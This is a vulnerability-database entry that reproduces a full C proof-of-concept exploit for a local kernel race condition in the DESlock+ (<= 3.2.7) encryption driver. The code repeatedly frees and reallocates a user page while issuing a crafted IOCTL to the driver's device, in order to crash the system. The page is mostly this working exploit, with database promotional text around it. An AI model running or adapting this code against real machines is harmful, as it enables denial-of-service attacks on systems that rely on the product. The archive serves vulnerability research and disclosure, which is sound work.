Lucene search
K

DESlock+ <= 3.2.7 - Local Kernel Race Condition Denial of Service PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Local Kernel Race Condition Denial of Service PoC in DESlock+ version 3.2.7 with tested driver.

Code

                                                /* deslock-probe-race.c
 *
 * Copyright (c) 2008 by &#60;[email protected]&#62;
 *
 * DESlock+ &#60;= 3.2.7 local kernel race condition DoS POC
 * by mu-b - Fri 22 Feb 2008
 *
 * - Tested on: DLMFENC.sys 1.0.0.28
 *
 * race conditions between calls to ProbeForRead/ProbeForWrite
 * and pointer use.
 *
 * &#34;Note that subsequent accesses by the driver to the user-mode
 *   buffer must also be encapsulated within a try/except block;&#34;
 *  - http://msdn.microsoft.com/en-us/library/ms797108.aspx
 *
 * http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
 * - I wonder what that says about CESG CCTM?
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;

#include &#60;windows.h&#62;

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG  0xDEADBEEF

#define ARG_SIZE(a)   ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
  int flag;
  int req_num;
  void *arg[ARG_SIZE(0x20)];
};

void
hammer_thread (void *zpage)
{
  BOOL result;

  printf (&#34;* [child] using page @0x%08X\n&#34;, zpage);

  while (1)
    {
      result = VirtualFree (zpage, 0, MEM_RELEASE);
      if (result == 0)
        {
          fprintf (stderr, &#34;* [child] VirtualFree failed\n&#34;);
          exit (EXIT_FAILURE);
        }

      zpage = VirtualAlloc ((LPVOID) 0x41000000, 0x10000,
                             MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      if (zpage == NULL)
        {
          fprintf (stderr, &#34;* [child] VirtualAlloc failed\n&#34;);
          exit (EXIT_FAILURE);
        }
    }
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  HANDLE hFile, hThread;
  DWORD rlen, dThread, nTotal, nFail;
  LPVOID zpage;
  BOOL result;

  printf (&#34;DESlock+ &#60;= 3.2.7 local kernel race condition DoS PoC\n&#34;
          &#34;by: &#60;[email protected]&#62;\n&#34;
          &#34;http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n&#34;);

  fflush (stdout);
  hFile = CreateFileA (&#34;\\\\.\\DLKPFSD_Device&#34;, FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, &#34;* CreateFileA failed, %d\n&#34;, hFile);
      exit (EXIT_FAILURE);
    }

  zpage = VirtualAlloc ((LPVOID) 0x41000000, 0x10000,
                        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (zpage == NULL)
    {
      fprintf (stderr, &#34;* VirtualAlloc failed\n&#34;);
      exit (EXIT_FAILURE);
    }
  printf (&#34;* allocated page: 0x%08X [%d-bytes]\n&#34;,
          zpage, 0x10000);

  hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) hammer_thread,
                          zpage, 0, &dThread);
  if (hThread == NULL)
    {
      fprintf (stderr, &#34;* CreateThread failed\n&#34;);
      exit (EXIT_FAILURE);
    }

  nTotal = nFail = 0;
  while (1)
    {
      memset (&req, 0, sizeof req);
      req.flag = DLMFENC_FLAG;
      req.req_num = 4;
      req.arg[0] = (void *) zpage;

      nTotal++;
      result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                                &req, sizeof req, &req, sizeof req, &rlen, 0);
      if (!result)
        {
          if (!(nFail++ % 1024))
            {
              char *p_arr[] = { &#34;DESLock&#34;, &#34;ProbeForWrite&#34;, &#34;a&#34;, &#34;races&#34;,
                                &#34;dull&#34;, &#34;make&#34;, &#34;boy&#34; };
              fprintf (stderr, &#34;* total: %d [failed: %d, %f%%] [%13s]\r&#34;,
                       nTotal, nFail, (((double) nFail)/nTotal)*100, p_arr[nFail%7]);
              fflush (stderr);
          }
        }
    }

  /* unreachable! */
  printf (&#34;* hmmm, you didn&#39;t STOP the box?!?!\n&#34;);

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-09-20]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21